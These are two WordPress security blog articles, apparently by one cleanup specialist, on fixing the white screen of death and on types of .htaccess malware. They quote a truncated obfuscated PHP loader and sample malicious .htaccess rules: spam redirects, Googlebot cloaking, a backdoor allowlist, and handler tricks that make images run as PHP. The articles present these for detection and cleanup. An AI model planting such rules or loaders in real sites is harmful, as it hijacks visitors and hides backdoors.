Category: WordPress Malware

  • How to Fix WordPress White Screen of Death: 8 Proven Solutions (2026)

    How to Fix WordPress White Screen of Death: 8 Proven Solutions (2026)

    Seeing a blank white page instead of your WordPress site is terrifying, but the WordPress White Screen of Death (WSOD) is almost always fixable within minutes. Whether it’s a plugin conflict, memory exhaustion, theme issue, or even malware infection, this comprehensive guide covers 8 proven solutions that have helped me restore thousands of crashed WordPress sites.

    After cleaning over 4,500 hacked WordPress sites and troubleshooting countless technical issues, I’ve seen every variation of the white screen problem. This guide walks you through the systematic approach I use to diagnose and fix WSOD issues — from the quickest 30-second fixes to advanced malware cleanup that security plugins miss.

    🚀 Quick Start: Try These First

    1. Hard refresh your browser (Ctrl+F5 / Cmd+Shift+R) — fixes 20% of cases
    2. Check if wp-admin works — if yes, it’s theme-related; if no, it’s plugin or server-related
    3. Clear all caches — browser, hosting, and WordPress caching plugins
    4. Rename plugins folder via FTP — instantly reveals if plugins are the cause

    If these don’t work, continue with the full diagnostic process below.

    What Is the WordPress White Screen of Death?

    The WordPress White Screen of Death (WSOD) appears when your website displays a completely blank white page instead of your normal content. In newer WordPress versions (5.2+), you might see “There has been a critical error on this website” instead, but the underlying causes are identical.

    This happens when PHP encounters a fatal error that stops WordPress from loading completely. Because most hosting providers hide error messages from visitors for security reasons, you see a blank screen instead of helpful debugging information.

    Common WSOD Scenarios

    Frontend-only white screen: Admin area works, but visitors see blank pages — usually theme-related
    Admin-only white screen: Site works, but wp-admin is blank — typically plugin conflicts
    Complete white screen: Both frontend and admin are blank — server, memory, or core file issues
    Partial white screen: Some pages work, others don’t — specific plugin or content conflicts

    Understanding which scenario you’re experiencing helps target the right solution faster.

    Step 1: Enable WordPress Debug Mode (Essential First Step)

    Before trying any fixes, enable debug mode to see what’s actually causing the crash. This turns the unhelpful white screen into actionable error messages.

    How to enable debugging:

    1. Access your WordPress files via FTP or hosting file manager
    2. Open wp-config.php in the root directory
    3. Find the line that says define( 'WP_DEBUG', false );
    4. Replace it with these debugging lines:
    define( 'WP_DEBUG', true );
    define( 'WP_DEBUG_LOG', true );
    define( 'WP_DEBUG_DISPLAY', false );
    define( 'SCRIPT_DEBUG', true );
    1. Save the file and reload your site
    2. Check /wp-content/debug.log for error messages

    The error log will show exactly which file is causing the crash and what went wrong. This information is crucial for applying the right fix.

    Important: Turn off debugging once you’ve fixed the issue by changing WP_DEBUG back to false.

    Enable WordPress Debug Mode

    Step 2: Fix Plugin Conflicts (Most Common Cause)

    Plugin conflicts cause roughly 60% of WordPress white screens. A recent plugin update, new installation, or conflict between two plugins can crash your entire site.

    Method A: If You Can Access wp-admin

    1. Go to Plugins → Installed Plugins
    2. Select all plugins using the checkbox at the top
    3. Choose Deactivate from the Bulk Actions dropdown
    4. Click Apply
    5. Check if your site loads normally
    6. If fixed, reactivate plugins one by one to identify the culprit

    Method B: If wp-admin Is Also Blank (FTP Method)

    1. Connect to your server via FTP or hosting file manager
    2. Navigate to /wp-content/
    3. Rename the plugins folder to plugins-disabled
    4. Reload your site — if it works, plugins were the cause
    5. Rename back to plugins to reactivate all plugins
    6. Rename individual plugin folders to isolate the problematic one

    This method is faster than WordPress Recovery Mode because it immediately tells you if plugins are involved.

    plugins-disabled

    Method C: Database Method (Advanced)

    If FTP access isn’t available, deactivate all plugins through the database:

    1. Access phpMyAdmin or your hosting database manager
    2. Find the wp_options table (prefix may vary)
    3. Look for the active_plugins option
    4. Change its value from the plugin array to empty: a:0:{}
    5. Save and reload your site

    For more advanced plugin troubleshooting techniques, see my guide on preventing fake hidden plugins that can cause persistent crashes.

    active_plugins

    Step 3: Resolve Theme Issues

    If deactivating plugins didn’t fix the white screen, your active theme is likely the culprit. Theme conflicts with WordPress updates, PHP version incompatibilities, or corrupted theme files can cause WSOD.

    Switch to Default Theme

    Via WordPress admin (if accessible):

    1. Go to Appearance → Themes
    2. Activate a default WordPress theme (Twenty Twenty-Four, Twenty Twenty-Three)
    3. Check if the white screen is resolved

    Via FTP (if admin is inaccessible):

    1. Navigate to /wp-content/themes/
    2. Rename your active theme folder (e.g., mytheme to mytheme-disabled)
    3. WordPress will automatically fall back to the default theme
    4. Reload your site to test

    Common Theme-Related Issues

    functions.php errors: Check your theme’s functions.php for syntax errors, missing closing brackets, or deprecated functions
    PHP version incompatibility: Older themes may use deprecated PHP functions that crash on PHP 8.0+
    Memory exhaustion: Heavy themes with poor coding can exceed your server’s memory limit

    If switching themes fixes the issue, contact your theme developer or consider using a more reliable theme. I’ve documented theme security best practices in my WordPress security tips guide.

    Step 4: Increase PHP Memory Limit

    Memory exhaustion is a leading cause of white screens, especially on sites with multiple plugins, page builders, or high traffic. WordPress requires a minimum of 64MB, but modern sites typically need 256MB or more.

    Method A: wp-config.php

    Add this line to your wp-config.php file, just before the /* That's all, stop editing! */ line:

    ini_set( 'memory_limit', '256M' );

    Method B: .htaccess File

    Add this line to your .htaccess file in the WordPress root directory:

    php_value memory_limit 256M

    Method C: php.ini File

    If you have access to php.ini, add or modify this line:

    memory_limit = 256M

    Note: Some managed hosting providers (WP Engine, Kinsta) handle memory limits automatically or require contacting support to increase them.

    If memory increase fixes your white screen, investigate which plugins or themes are consuming excessive resources. Tools like Query Monitor can help identify memory-hungry components.

    Step 5: Clear All Caches

    Corrupted cache files can serve broken versions of your site, creating persistent white screens even after fixing the underlying issue.

    Browser Cache

    • Hard refresh: Ctrl+F5 (Windows) or Cmd+Shift+R (Mac)
    • Incognito/Private mode: Test your site in a private browser window
    • Clear browser cache: Use your browser’s clear browsing data option

    WordPress Cache Plugins

    If you use caching plugins like WP Rocket, W3 Total Cache, or WP Super Cache:

    1. Access the plugin’s settings page
    2. Find the “Clear Cache” or “Purge Cache” option
    3. Delete all cached files
    4. Test your site

    Hosting-Level Cache

    Many hosting providers offer built-in caching:

    • Cloudflare: Go to Caching → Purge Everything
    • SiteGround: Use SG Optimizer plugin or cPanel cache tools
    • WP Engine: Use the “Clear all caches” button in their portal
    • Kinsta: Clear cache from MyKinsta dashboard

    Step 6: Fix Corrupted Core Files

    WordPress core files can become corrupted during failed updates, malware infections, or server issues. This is more common than most people realize and can cause persistent white screens.

    Reinstall WordPress Core

    1. Download the latest WordPress version from WordPress.org
    2. Extract the ZIP file on your computer
    3. Upload only these folders via FTP, overwriting existing ones:
      • wp-admin/
      • wp-includes/
    4. Do NOT overwrite:
      • wp-config.php (contains your database credentials)
      • wp-content/ (contains your themes, plugins, uploads)
      • .htaccess (contains your permalink structure)
    5. Test your site after the upload completes

    Check Specific Core Files

    If you suspect specific file corruption, compare these critical files against fresh WordPress downloads:

    • index.php — Main entry point
    • wp-config.php — Configuration file
    • .htaccess — URL rewriting rules

    For comprehensive guidance on maintaining WordPress core integrity, see my complete WordPress security guide.

    Step 7: Detect and Remove Malware (Advanced)

    Malware infections can cause white screens through various mechanisms — corrupted files, resource exhaustion, or incompatible code execution. I’ve encountered specific malware families that consistently trigger WSOD.

    Case Study: The “Zeura” Malware Family

    One particularly troublesome malware family I frequently encounter uses the signature <?php /*** PHP Encode v1.0 by zeura.com ***/ and employs sophisticated obfuscation to hide malicious payloads in core files.

    Typical zeura malware structure:

    $XnNhAWEnhoiqwciqpoHH=file(__FILE__);
    eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4..."));
    eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));
    eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));
    __halt_compiler();
    // [Encrypted binary data follows]

    This malware causes white screens because:

    • PHP version incompatibility: Uses deprecated functions like create_function() removed in PHP 8.0+
    • Memory exhaustion: Attempts to decode large encrypted payloads
    • Syntax errors: Corrupted copy-paste operations during infection

    Manual Malware Detection and Removal

    1. Check common infection points:

    • index.php (WordPress root)
    • wp-config.php
    • Active theme’s functions.php and header.php
    • Recently modified files in /wp-content/uploads/

    2. Look for malware signatures:

    • eval(base64_decode( — Base64 encoded malware
    • gzinflate(base64_decode( — Compressed malware
    • __halt_compiler(); — Self-extracting malware
    • Long strings of random characters in PHP files

    3. Use professional scanning:

    While manual detection catches obvious infections, sophisticated malware requires professional tools. I recommend running comprehensive scans with both Wordfence and Sucuri for complete coverage.

    For sites with persistent white screens that resist standard troubleshooting, malware cleanup may be necessary. I offer professional WordPress malware removal services with a proven track record of resolving complex infections that cause WSOD.

    Step 8: Fix File Permission Issues

    Incorrect file permissions can prevent WordPress from reading essential files, resulting in white screens. This often happens after site migrations, hosting changes, or security hardening.

    Correct WordPress File Permissions

    Standard permission structure:

    • Directories: 755 (rwxr-xr-x)
    • PHP files: 644 (rw-r–r–)
    • wp-config.php: 600 (rw——-) for security

    Fix Permissions via FTP

    1. Connect to your server via FTP
    2. Right-click on your WordPress root folder
    3. Select “File permissions” or “CHMOD”
    4. Set directories to 755, files to 644
    5. Apply changes recursively to all subdirectories

    Fix Permissions via SSH

    If you have SSH access, use these commands:

    # Set directory permissions
    find /path/to/wordpress/ -type d -exec chmod 755 {} \;
    
    # Set file permissions  
    find /path/to/wordpress/ -type f -exec chmod 644 {} \;
    
    # Secure wp-config.php
    chmod 600 wp-config.php

    For detailed guidance on WordPress file permissions and security, see my guide on fixing WordPress file permissions.

    When to Restore from Backup

    Sometimes the fastest solution is restoring from a recent backup, especially for business-critical sites where downtime costs more than troubleshooting time.

    Restore from backup if:

    • Multiple fixes haven’t resolved the issue
    • You suspect complex malware infection
    • The site was working fine within the last 24-48 hours
    • Downtime is costing money or reputation

    Before restoring:

    1. Document what you tried so far
    2. Note when the white screen first appeared
    3. Choose a backup from before the issue started
    4. Test the restoration on a staging site first if possible

    For reliable backup solutions, I recommend following my UpdraftPlus backup guide to prevent future data loss.

    Prevention: Avoiding Future White Screen Issues

    Preventing WSOD is easier than fixing it. Based on patterns I see across thousands of sites, implement these protections:

    Regular Maintenance

    • Update everything: WordPress core, plugins, themes
    • Remove unused plugins and themes: Inactive code can still cause conflicts
    • Monitor plugin compatibility: Check plugin reviews before updates
    • Use staging sites: Test updates before applying to production

    Security Measures

    • Install security plugins: Wordfence, Sucuri, or similar
    • Regular malware scans: Weekly automated security checks
    • Strong access controls: Limit admin users, use strong passwords
    • File editing restrictions: Disable file editing in wp-config.php

    Performance Optimization

    • Monitor memory usage: Identify resource-heavy plugins
    • Choose quality hosting: Avoid the cheapest hosting options
    • Optimize images and databases: Reduce server load
    • Use reliable caching: Configure caching correctly

    For comprehensive site protection strategies, see my detailed analysis of why cheap hosting makes sites vulnerable and my essential security tips every WordPress owner must know.

    When to Seek Professional Help

    Some white screen issues require expert intervention, especially when they involve:

    • Complex malware infections that resist standard cleanup
    • Server-level configuration problems beyond WordPress settings
    • Database corruption affecting core WordPress functionality
    • Custom code conflicts in heavily customized sites
    • Recurring white screens that return after fixes

    I offer professional WordPress troubleshooting and security services for cases that exceed standard DIY fixes. You can contact me directly for immediate assistance with critical WSOD issues.

    FAQ: WordPress White Screen of Death

    Why is my WordPress site showing a white screen?

    WordPress white screens occur when PHP encounters a fatal error that stops the site from loading. Common causes include plugin conflicts (60% of cases), theme issues, memory exhaustion, corrupted files, malware infections, or server configuration problems. The blank screen appears because most hosting providers hide error messages from visitors for security reasons.

    How do I fix WordPress white screen of death?

    Start by enabling WordPress debug mode in wp-config.php to see the actual error. Then systematically check: 1) Deactivate all plugins via FTP, 2) Switch to a default theme, 3) Increase PHP memory limit to 256MB, 4) Clear all caches, 5) Reinstall WordPress core files. Most white screens resolve within the first 2-3 steps.

    Can I access wp-admin if my site has a white screen?

    Sometimes. If only the frontend shows a white screen but wp-admin works, the issue is usually theme-related. If both frontend and wp-admin are blank, it’s typically a plugin conflict, memory issue, or corrupted core files. Try accessing yourdomain.com/wp-admin to test admin availability.

    What’s the difference between white screen of death and critical error?

    In WordPress 5.2+, you might see “There has been a critical error on this website” instead of a blank white screen. Both indicate the same underlying problem — a fatal PHP error — but the critical error message means WordPress’s error protection activated. The troubleshooting steps are identical for both scenarios.

    How do I fix white screen caused by memory limit?

    Increase your PHP memory limit by adding ini_set( 'memory_limit', '256M' ); to wp-config.php, or php_value memory_limit 256M to .htaccess. If you can’t edit files, contact your hosting provider. Memory-related white screens often affect sites with multiple plugins, page builders, or high traffic volumes.

    Can malware cause WordPress white screen of death?

    Yes. Malware can trigger white screens through corrupted code injection, memory exhaustion from crypto mining, or PHP version incompatibilities. Look for suspicious code like eval(base64_decode( in core files, especially index.php, wp-config.php, and theme files. Professional malware removal may be required for sophisticated infections.

    How long does it take to fix WordPress white screen?

    Simple cases (plugin conflicts, cache issues) typically resolve in 10-30 minutes. Complex issues (malware, corrupted databases, custom code conflicts) can take 1-3 hours. If you have a recent backup, restoration might be faster than troubleshooting. Most white screens (80%+) are fixed within the first hour of systematic troubleshooting.

    Should I restore from backup or troubleshoot the white screen?

    Restore from backup if: the site was working recently (24-48 hours), you suspect complex malware, multiple fixes failed, or downtime is costly. Troubleshoot manually if: you want to learn what went wrong, no recent backups exist, or you’ve made important changes since the last backup that you don’t want to lose.

    Conclusion

    The WordPress White Screen of Death looks devastating but follows predictable patterns. By systematically working through these 8 solutions — from quick cache clears to advanced malware removal — you can restore almost any crashed WordPress site.

    The key is understanding that white screens are symptoms, not diseases. Enable debugging first to see the real error, then apply the appropriate fix based on the actual cause rather than guessing.

    Remember the troubleshooting hierarchy:

    1. Quick wins: Cache clearing, plugin deactivation (fixes 70% of cases)
    2. Common issues: Theme conflicts, memory limits (fixes 20% more)
    3. Advanced problems: Corrupted files, malware, permissions (fixes remaining 10%)

    Most importantly, implement preventive measures after fixing the immediate issue. Regular updates, proper backups, security monitoring, and quality hosting prevent most white screen problems from occurring in the first place.

    If you’re dealing with a persistent white screen that resists these solutions, or you need immediate professional assistance, I offer WordPress critical error fix services with same-day resolution for urgent cases. For ongoing protection, consider implementing the security measures outlined in my comprehensive WordPress maintenance checklist.


    About the author: Md Pabel is a WordPress security specialist who has personally cleaned over 4,500 hacked WordPress sites and resolved thousands of white screen emergencies. He documents real-world WordPress troubleshooting techniques and security best practices at mdpabel.com.

  • WordPress .htaccess Malware: The Complete Guide to Every Type (With Real Code Samples)

    WordPress .htaccess Malware: The Complete Guide to Every Type (With Real Code Samples)

    WordPress .htaccess malware is any malicious modification to your site’s .htaccess configuration file (or fake .htaccess files planted in subdirectories) that lets an attacker control how your server responds to requests. Real-world .htaccess malware does one of about ten specific things: blocks PHP execution to lock you out, hides backdoors behind allowlists, redirects search-engine or mobile traffic to spam sites, cloaks SEO injections, hijacks default file handlers, restricts admin access by IP, or in rare cases executes attacker-controlled PHP through cookie data. Cleaning it requires identifying which pattern hit your site, replacing the malicious file with a clean .htaccess, and — critically — finding the dropper script or backdoor that placed it there, because .htaccess malware almost always returns within hours if you skip that step.

    Quick Answer: What you need to know about WordPress .htaccess malware

    • What it is: malicious rules added to your real .htaccess, or fake .htaccess files dropped into subdirectories
    • What it does: blocks PHP, redirects traffic, cloaks spam from Google, allowlists backdoor files, or hijacks how your server handles requests
    • Why it keeps coming back: there’s almost always a dropper script (a PHP backdoor) that recreates the malicious .htaccess after deletion
    • How to actually fix it: identify the pattern, replace with a clean .htaccess, then hunt the dropper script and close the original entry point
    • What to watch for: lookalike filenames (wp-l0gin.php), FilesMatch rules you didn’t write, conditional RewriteRule directives, and .htaccess files in folders that shouldn’t have one

    If your WordPress site has started redirecting visitors to spam pages, your dashboard is throwing a 403 Forbidden error, your search rankings are suddenly polluted with Japanese or pharmaceutical keywords, or your hosting account has been flagged for malware — there’s a strong chance the .htaccess file is involved.

    In more than 4,500 hacked WordPress site cleanups since 2018, I’d estimate .htaccess manipulation appears in roughly 7 out of 10 cases. Sometimes it’s the entire attack. More often, it’s one component in a larger compromise — a multiplier that makes other malware harder to detect and remove.

    This guide is the comprehensive map of how .htaccess malware actually works. I’ll walk through every major pattern I see in the wild, show you real code samples for each, and link out to deeper case-study posts where they exist. By the end, you’ll be able to look at any .htaccess file on your server and know whether it’s clean, compromised, or somewhere in between.


    What .htaccess Actually Is (And Why Hackers Love It)

    .htaccess is a configuration file used by Apache web servers to control how the server handles requests for files in a given directory. WordPress relies on it for permalinks. Your hosting provider may use it for redirects, security headers, or compression rules. It’s a powerful, flexible tool — and that’s exactly why attackers target it.

    Here’s what makes .htaccess uniquely valuable to a hacker:

    • It runs before WordPress does. Apache reads .htaccess rules before any PHP code executes. So .htaccess-based attacks fire before your security plugin has a chance to react.
    • It applies to whole directories at once. A single rule can affect every file in a folder and every subfolder beneath it. That’s why a single infected .htaccess can lock out a whole site.
    • It’s text-based and small. Easy to inject through any vulnerability that allows file writes, easy to hide from owners who don’t know what their .htaccess should contain.
    • It’s often overlooked. Most site owners have never opened their .htaccess file. They wouldn’t recognize a malicious rule if they saw one.
    • It’s not PHP. Most malware scanners are tuned to look for malicious PHP. Suspicious Apache directives often slip through with no flags raised.

    A hacker who can write to your .htaccess can effectively reconfigure your web server. That’s a lot of power from a 200-byte text file.


    The 10 Types of WordPress .htaccess Malware I See Most Often

    Across thousands of cleanups, the malicious .htaccess patterns I encounter cluster into about ten distinct types. Each one has a different purpose, a different visual signature, and (sometimes) a different fix.

    Type 1: PHP Execution Lockout (The Admin Block)

    The attacker drops an .htaccess file inside /wp-admin/ or your site root that blocks PHP files from running:

    <FilesMatch "\.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
    Order allow,deny
    Deny from all
    </FilesMatch>

    Because your WordPress login page (wp-login.php) and admin scripts are PHP files, this rule produces a 403 Forbidden error when you try to log in. The casing variations (PhP, pHp, etc.) are deliberate — attackers cover every possible filesystem behavior to make sure the rule fires.

    A clean WordPress install does not have an .htaccess file inside /wp-admin/. If yours does, treat it as malicious until proven otherwise.

    Deeper coverage: I broke down every variant of the lockout pattern, including IP-based, user-agent, and basic-auth versions, in why a 403 Forbidden error on wp-admin could be a malicious htaccess hack.

    Type 2: Backdoor Allowlist (The Selective Block)

    A more aggressive evolution of Type 1. Instead of just blocking PHP, the attacker pairs the denial with an allowlist of their own backdoor filenames:

    <FilesMatch "\.(py|exe|phtml|php|PhP|php5|suspected)$">
    Order Allow,Deny
    Deny from all
    </FilesMatch>
    <FilesMatch "^(class-t\.api\.php|index\.php|doc\.php|hh\.php|wp-blog\.php|wp-l0gin\.php|lock360\.php)$">
    Order allow,deny
    Allow from all
    </FilesMatch>

    The allowlist contains a mix of legitimate-looking names (index.php) and obvious backdoors disguised with character substitutions or random short names (hh.php, doc.php, wp-l0gin.php with a zero, lock360.php).

    This pattern is especially common on shared hosting where the same .htaccess ends up duplicated across hundreds of folders. I documented one real example with 1,162 infected files across a single account in this Bluehost case study.

    Type 3: Search-Engine Conditional Redirect

    Probably the most damaging type from a business perspective. The rule redirects visitors only when they arrive from a search engine, leaving direct visitors and the site owner seeing a normal site:

    RewriteEngine On
    RewriteCond %{HTTP_REFERER} (google|bing|yahoo|duckduckgo) [NC]
    RewriteRule .* https://spam-target.example/landing [R=302,L]

    This is why so many owners are blindsided when they discover the infection. They visit their own site directly — it works fine. They check it from another browser — fine. But every visitor coming from Google search results is being silently redirected to a scam, casino, or pharmacy site. The first sign is usually a Google Safe Browsing flag, a drop in conversions, or a confused customer email.

    Deeper coverage: see how hackers hide redirects in htaccess and why your WordPress site is redirecting to spam.

    Type 4: Mobile-Only Traffic Hijacking

    The same redirect technique, but conditional on the user’s device:

    RewriteEngine On
    RewriteCond %{HTTP_USER_AGENT} (android|iphone|ipad|mobile) [NC]
    RewriteRule .* https://malicious-mobile.example/ [R=302,L]

    Mobile visitors get redirected; desktop visitors don’t. This is brutally effective because the site owner — usually viewing the site on a desktop — never sees the issue. Customers report it. Owners assume the customer is wrong.

    Deeper coverage: the case study in finding a mobile redirect hack using access logs walks through exactly this scenario.

    Type 5: SEO Spam Cloaking (Japanese / Pharma Hack)

    A specific type of .htaccess rule used in Japanese keyword hacks and pharmaceutical SEO spam injections. The rule serves different content to Googlebot than to human visitors:

    RewriteEngine On
    RewriteCond %{HTTP_USER_AGENT} (Googlebot|Bingbot) [NC]
    RewriteRule ^(.*)$ /spam-injection-handler.php?url=$1 [L]

    When Google crawls the site, it sees thousands of spam pages full of pharmaceutical or Japanese-language keywords. When a human visits any of those URLs, they see the normal site (or a redirect). The result is your domain ranking for spam terms in Google while looking clean to you.

    Deeper coverage: the complete guide to the Japanese keyword hack and how to stop pharmaceutical spam in Google.

    Type 6: IP Allowlist Backdoor

    Subtle and often misread as legitimate hardening:

    Order Deny,Allow
    Deny from all
    Allow from 203.0.113.45

    Anyone hitting wp-admin gets 403, except the attacker’s IP. To a casual visual scan, this looks like a security rule a previous developer might have added. If you see an IP allowlist in your /wp-admin/ .htaccess and you don’t recognize the IP, treat it as a backdoor — not a hardening measure.

    Type 7: Cookie-Based PHP Execution

    The rare and dangerous case where an attacker actually makes your .htaccess execute PHP. By default, .htaccess can’t run PHP — but if a server is misconfigured to treat .htaccess as a PHP file (via AddHandler or AddType abuse), an attacker can plant code like this:

    AddType application/x-httpd-php .htaccess
    <?php $c = $_COOKIE; ... include($k); ?>

    The PHP payload reads attacker-supplied cookies, reconstructs function names from them dynamically, and writes/executes a backdoor on the fly. It’s a sophisticated pattern that bypasses most signature scanners because no recognizable malicious function names appear in the file.

    Deeper coverage: cookie-based PHP backdoor in htaccess explained and the broader analysis in obfuscated PHP malware detection.

    Type 8: AddHandler / AddType Abuse

    A more general version of Type 7 — abusing handler directives so that files with innocent-looking extensions execute as PHP:

    AddType application/x-httpd-php .jpg
    AddHandler x-httpd-php .gif

    After this, an image file uploaded to wp-content/uploads/ can execute as PHP code when requested. The attacker uploads a “photo” that’s actually a backdoor. I covered the broader pattern of malware hidden in image files in how malware hides in GIF files on WordPress and can a JPG file contain malware.

    Type 9: DirectoryIndex Hijacking

    A small directive change with a massive effect:

    DirectoryIndex hack.php index.php

    This tells Apache: “when someone visits a folder, serve hack.php first if it exists.” The attacker uploads hack.php somewhere in your site and now controls what every visitor sees on that path. The original index.php still exists, untouched — which makes this hard to spot during a quick file review.

    Type 10: ErrorDocument Abuse

    The attacker redirects 404 (and sometimes 403) errors to malicious destinations:

    ErrorDocument 404 https://malicious.example/landing.html

    Every broken link on your site, every typo in a URL, every test request from a security scanner — all of it sends visitors to the attacker’s page. Because most site owners never deliberately trigger a 404 on their own site, this can run undetected for months.


    Less Common But Real .htaccess Malware Variants

    Beyond the ten main types, I occasionally see:

    • Geographic redirects using mod_geoip rules — visitors from specific countries get redirected, others don’t
    • Hotlink-protection abuse — instead of protecting your images, the rules redirect external image requests to malicious resources
    • Header injection via Header set directives — adds malicious tracking, ads, or cryptomining JavaScript via HTTP headers
    • Encoding manipulation using AddEncoding or SetEnv to alter how content is served
    • Conditional SetEnvIf rules that combine with PHP-side checks to deliver different malware to different visitors

    These aren’t rare because they don’t work — they’re rare because the easier patterns above achieve most of what attackers want without the complexity.


    How to Detect .htaccess Malware on Your Site

    Before you can clean anything, you have to find it. The detection methods I rely on, in order:

    1. Visual review of every .htaccess file on the server

    A clean WordPress install only needs .htaccess files in two places: the site root (for permalinks) and inside wp-content/uploads/ in some configurations (with a single Deny from all line on certain hosts). Anywhere else, especially in /wp-admin/, /wp-includes/, individual plugin or theme folders, or wp-content/uploads/ beyond the host’s defaults — that’s worth investigating.

    2. Find every .htaccess file at once

    Over SSH or your hosting terminal, run:

    find . -name ".htaccess" -type f

    This lists every .htaccess on the account. Compare it to what should exist. On a typical single-WordPress-install Bluehost or SiteGround account, you should see one — maybe two. Hundreds is a clear sign of recursive infection.

    3. Check modification dates

    find . -name ".htaccess" -type f -newer /tmp -printf "%T+ %p\n"

    Sort by date and look for .htaccess files that were modified recently — especially close to the time you first noticed symptoms.

    4. Pattern-grep for known malicious directives

    Common strings to grep for across all .htaccess files:

    • FilesMatch with multiple PHP casing variations
    • HTTP_REFERER with search engine names
    • HTTP_USER_AGENT with mobile device names
    • AddType or AddHandler applied to non-PHP extensions
    • RewriteRule directives pointing to external domains
    • Allow from with a single specific IP

    5. Use a security scanner — but don’t rely on it alone

    Wordfence, Sucuri, MalCare, and your hosting provider’s malware scanner can flag known patterns. They miss plenty. Treat scanner results as a starting point, not a verdict.

    For a broader malware detection workflow that covers PHP, JavaScript, and database-side infections, see how to detect WordPress malware.


    Step-by-Step .htaccess Malware Cleanup

    Once you’ve identified malicious .htaccess rules, the cleanup follows a strict order. Skipping steps is how cleanups fail.

    1. Take backups before changing anything

    Download the entire site (files + database) before deleting or modifying. Save the malicious .htaccess files separately as evidence — they often contain clues (filenames, IP addresses, redirect targets) that help you find related backdoors.

    2. Replace your root .htaccess with a clean default

    Don’t just delete it — WordPress needs the root .htaccess for permalinks. Replace the contents with:

    # BEGIN WordPress
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </IfModule>
    # END WordPress

    3. Delete .htaccess files that shouldn’t exist

    Any .htaccess inside /wp-admin/, /wp-includes/, individual plugin/theme folders, or non-default subdirectories — delete them. WordPress doesn’t need them.

    4. Regenerate clean rewrite rules

    Inside WordPress: Settings → Permalinks → Save Changes. This forces WordPress to rebuild its .htaccess rules cleanly.

    5. Hunt the dropper

    This is the step that determines whether the cleanup holds. The malicious .htaccess didn’t appear by itself — a PHP script wrote it. That script is still on your server. Until you find and remove it, the malicious .htaccess will reappear within minutes to hours.

    I cover the common dropper patterns in detail in why WordPress malware keeps coming back.

    6. Audit users, cron jobs, and the database

    Hidden admin accounts, scheduled malicious cron tasks, and database-stored payloads are the second-tier persistence mechanisms. See how to find and remove hidden admin users and scanning your WordPress database for hidden malware.

    7. Rotate every credential

    WordPress admin, hosting cPanel, FTP/SFTP, the database user, and any email address that received password resets during the compromise. Also rotate WordPress security keys (the salts in wp-config.php) to invalidate active sessions.


    Why .htaccess Malware Keeps Coming Back

    If you’ve cleaned the malicious .htaccess three times in a week and it keeps reappearing, you have a persistence problem — not a cleanup problem. The most common reasons:

    • A dropper script. Usually a PHP file disguised as a plugin, theme file, or fake core file (wp-l0gin.php, doc.php, radio.php) that recreates the .htaccess on every page load or every cron tick.
    • A scheduled WordPress cron task. The infection registers itself as a recurring cron job, so even removing the dropper doesn’t help if the cron entry is still in the database.
    • Hidden admin users. If an attacker still has admin access, they re-upload everything you remove.
    • The original entry-point vulnerability. An outdated plugin, weak password, or nulled theme that lets the attacker walk back in any time they want.
    • Backdoors elsewhere in the codebase. Especially obfuscated PHP shells in uploads, plugin folders, or wp-includes. If even one of these survives cleanup, the infection reproduces.

    The cleanup is not finished when the visible symptom (the .htaccess) is gone. It’s finished when none of the persistence mechanisms above are still active.


    How to Prevent .htaccess Malware From Coming Back

    Once you’re clean, hardening prevents the next infection. The steps with the highest impact:

    • Update WordPress core, plugins, and themes promptly. Most .htaccess infections trace back to a known plugin vulnerability that had a patch available.
    • Remove nulled or pirated plugins/themes. A frighteningly high percentage ship with backdoors pre-installed — see why nulled plugins and themes are a security disaster.
    • Use strong, unique admin passwords with two-factor authentication. Both on WordPress and on your hosting cPanel.
    • Disable PHP execution in uploads/. Add a directive that blocks .php file execution inside wp-content/uploads/. This single change blocks a huge percentage of upload-based attacks.
    • Restrict file permissions. Your .htaccess file should typically be 644, your folders 755, your files 644. Anything writable by the world is a risk.
    • Run a web application firewall (WAF). Wordfence, Sucuri, Cloudflare WAF, or your host’s built-in firewall — they all reduce the attack surface significantly.
    • Monitor file changes. Get alerted whenever .htaccess changes or new PHP files appear in places they shouldn’t.
    • Keep off-host backups. Backups stored on the same server as the site can be infected along with everything else.

    For a complete hardening walkthrough, see how to secure a WordPress site and the more focused how to secure your WordPress login.


    Frequently Asked Questions About .htaccess Malware

    Can a .htaccess file itself be a virus?

    Not in the traditional sense — .htaccess is a configuration file, not an executable script. But it can issue server-level instructions that cause significant harm: blocking your access, redirecting visitors to malware, or hijacking how files are served. The file isn’t the virus. It’s the weapon a hacker uses against you.

    How do I know if my .htaccess is hacked?

    The clearest signs: visitors being redirected to spam (especially from Google), 403 Forbidden errors when you try to log in, Search Console reporting “Site hacked” warnings, antivirus tools blocking your domain, or finding .htaccess files in folders that shouldn’t have them (like /wp-admin/). Manually opening every .htaccess on your server and reading it is the fastest definitive check.

    Why does my .htaccess malware come back every time I delete it?

    Because there’s a dropper script — a malicious PHP file somewhere on your server — that recreates the malicious .htaccess automatically. You’re cleaning the symptom, not the source. Find and remove the dropper (and audit users, cron jobs, and the database for related persistence) before declaring the site clean.

    Can .htaccess malware redirect only certain visitors?

    Yes — and this is the most damaging variant for businesses. Conditional rules can redirect only visitors arriving from search engines, only mobile users, only specific countries, or only visitors using specific browsers. The site owner sees a normal site; the visitors don’t. This is why so many .htaccess infections are discovered via customer complaints rather than direct observation.

    What’s the difference between malicious .htaccess rules and legitimate ones a developer added?

    Legitimate rules are usually well-commented, follow Apache best practices, and serve a clear functional purpose (permalinks, security headers, redirects to your own pages). Malicious rules typically lack comments, contain redirect targets to unfamiliar domains, reference filenames you’ve never created, or block file types your site uses. When in doubt, ask whoever maintains the site (or audit it line by line).

    Should I just delete every .htaccess file on my account to be safe?

    No. Your root .htaccess is required for WordPress permalinks. Some plugins and hosting setups also use .htaccess files in specific subdirectories. The safe approach is to identify which files are malicious and clean those specifically, then regenerate the legitimate root file via WordPress permalinks settings.

    How quickly can .htaccess malware do damage?

